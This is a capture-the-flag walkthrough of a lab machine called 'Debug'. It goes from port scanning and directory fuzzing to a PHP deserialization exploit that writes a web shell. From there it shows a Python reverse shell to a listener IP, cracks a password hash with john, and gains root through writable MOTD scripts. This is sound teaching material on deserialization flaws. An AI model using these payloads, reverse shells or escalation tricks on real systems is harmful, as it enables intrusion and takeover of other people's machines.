In Debug we’ll practice an exploitation technique called PHP Objection Injection, also known as a PHP deserialization attack. This vulnerability occurs when an application does not sanitize user-supplied input before passing it to the unserialize() function. It is not unique to PHP, and is also found in Python, Java, Node.js, and other object-oriented languages.


rustscan -a -- -sC -sV -oA nmap1

22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDar9Wvsxi0NTtlrjfNnap7o6OD9e/Eug2nZF18xx17tNZC/iVn5eByde27ZzR4Gf10FwleJzW5B7ieEThO3Ry5/kMZYbobY2nI8F3s20R8+sb6IdWDL4NIkFPqsDudH3LORxECx0DtwNdqgMgqeh/fCys1BzU2v2MvP5alraQmX81h1AMDQPTo9nDHEJ6bc4Tt5NyoMZZSUXDfJRutsmt969AROoyDsoJOrkwdRUmYHrPqA5fvLtWsWXHYKGsWOPZSe0HIq4wUthMf65RQynFQRwErrJlQmOIKjMV9XkmWQ8c/DqA1h7xKtbfeUYa9nEfhO4HoSkwS0lCErj+l9p8h
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA7IA5s8W9jhxGAF1s4Q4BNSu1A52E+rSyFGBYdecgcJJ/sNZ3uL6sjZEsAfJG83m22c0HgoePkuWrkdK2oRnbs=
|   256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGXyfw0mC4ho9k8bd+n0BpaYrda6qT2eI1pi8TBYXKMb
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


We only have SSH and HTTP ports open, and on the HTTP service we just see Apache’s default page.

Let’s fuzz for content next.

ffuf -t 80 -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .html,.php,.txt
index.php               [Status: 200, Size: 5730, Words: 1428, Lines: 204]
index.html              [Status: 200, Size: 11321, Words: 3503, Lines: 376]
javascript              [Status: 301, Size: 317, Words: 20, Lines: 10]
message.txt             [Status: 200, Size: 188, Words: 49, Lines: 5]
backup                  [Status: 301, Size: 313, Words: 20, Lines: 10]
shell.php               [Status: 200, Size: 0, Words: 1, Lines: 1]
grid                    [Status: 301, Size: 311, Words: 20, Lines: 10]
less                    [Status: 301, Size: 311, Words: 20, Lines: 10]
javascripts             [Status: 301, Size: 318, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]

The default page we saw was index.html, but there is also an index.php. At the bottom of the page there is a contact form, and when we submit, out input is written to /message.txt.

Inside the /backup directory there is a backup of the index page with a .bak extension, meaning we can read it without the server executing the PHP code.

    class FormSubmit
      public $form_file = 'message.txt';
      public $message = '';

      public function SaveMessage()
        $NameArea = $_GET['name'];
        $EmailArea = $_GET['email'];
        $TextArea = $_GET['comments'];
        $this->message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";

      public function __destruct()
        file_put_contents(__DIR__ . '/' . $this->form_file, $this->message, FILE_APPEND);
        echo 'Your submission has been successfully saved!';

    // Leaving this for now... only for debug purposes... do not touch!
    $debug = $_GET['debug'] ?? '';
    $messageDebug = unserialize($debug);

    $application = new FormSubmit;

Interesting… the page accepts a debug query parameter that expects a serialized object and then deserializes it without performing any kind of validation or sanitization. We can exploit this to get RCE!


The __destruct() function is one of PHP’s magic methods and is basically the opposite of a class' constructor – instead of executing when an object is instantiated, it executes when an object is destroyed.

Here we have a destructor that is writing to a file, and we can control the file name and what is being written by crafting our own serialized representation of a FormSubmit object.t and passing it in through the debug parameter.

First copy the FormSubmit class and remove the methods. We’re only interested in the class properties as they are what get serialized.

We can replace message.txt with shell.php and in the $message property, we’ll include a little bit of shellcode that will guve us a basic web shell.

Finally, we’ll create an object and serialize it to generate our payload.

	class FormSubmit
	  public $form_file = "shell.php";
	  public $message = "<?php system(\$_GET['cmd']);?>";
	$o = new FormSubmit();
	$s = serialize($o);
	echo PHP_EOL . $s . PHP_EOL;

Now we can make a request with our (URL encoded) payload to write our shell.

GET /index.php?debug=O%3a10%3a"FormSubmit"%3a2%3a{s%3a9%3a"form_file"%3bs%3a9%3a"shell.php"%3bs%3a7%3a"message"%3bs%3a29%3a"<%3fphp+system($_GET['cmd'])%3b%3f>"%3b} HTTP/1.1
└─$ curl -i               
HTTP/1.1 200 OK
Date: Wed, 09 Jun 2021 13:13:18 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 54
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

And from here we can spawn a reverse shell to get onto the box.

GET /shell.php?cmd=python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.6.48.252%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)'

User Flag

In /var/www/html we’ll find .htpasswd which contains a hash for the user james. Let’s save that locally and use john to crack the hash.

john james.hash -w /usr/share/wordlists/rockyou.txt

Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED          (james)
1g 0:00:00:00 DONE (2021-06-09 09:26) 25.00g/s 24000p/s 24000c/s 24000C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now we can switch to james' account and grab the user flag from their home directory.

www-data@osboxes:/var/www/html$ su james
james@osboxes:/var/www/html$ cd ~
james@osboxes:~$ ls -l
total 52
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Desktop
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Documents
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Downloads
-rw-r--r-- 1 james james 8980 Apr 20  2016 examples.desktop
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Music
-rw-r--r-- 1 james james  477 Mar  9 20:59 Note-To-James.txt
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Pictures
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Public
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Templates
-rw-r--r-- 1 james james   33 Mar  9 20:57 user.txt
drwxr-xr-x 2 james james 4096 Mar 10 18:24 Videos
james@osboxes:~$ wc -c user.txt 
33 user.txt

Privilege Escalation

We’ve also found a note from root to james:

Dear James,

As you may already know, we are soon planning to submit this machine to THM’s CyberSecurity Platform! Crazy… Isn’t it?

But there’s still one thing I’d like you to do, before the submission.

Could you please make our ssh welcome message a bit more pretty… you know… something beautiful :D

I gave you access to modify all these files :)

Oh and one last thing… You gotta hurry up! We don’t have much time left until the submission!

Best Regards, root

If we look in /etc/update-motd.d, all the MOTD files are owned by root but belong to james' group, giving us write access as the note says. These files are all shell scripts, so we can leverage this to execute our own commands as root.

Let’s simply add chmod u+s /bin/sh to one of these files to set the sticky bit on sh. Then we can SSH into the box as james since we have their password to execute the change.

└─$ ssh james@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:JCUiGJ9gC+EZEJeudS9yMKLVlE7MtpS2rolJudHcCbQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
james@'s password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:
 * Management:
 * Support:

439 packages can be updated.
380 updates are security updates.

Last login: Wed Mar 10 18:36:58 2021 from
james@osboxes:~$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Feb 28  2019 /bin/sh -> dash
james@osboxes:~$ /bin/sh -p
# id
uid=1001(james) gid=1001(james) euid=0(root) groups=1001(james)
# cd /root
# ls -l
total 4
-rw-r--r-- 1 root root 33 Mar  9 20:56 root.txt
# wc -c root.txt
33 root.txt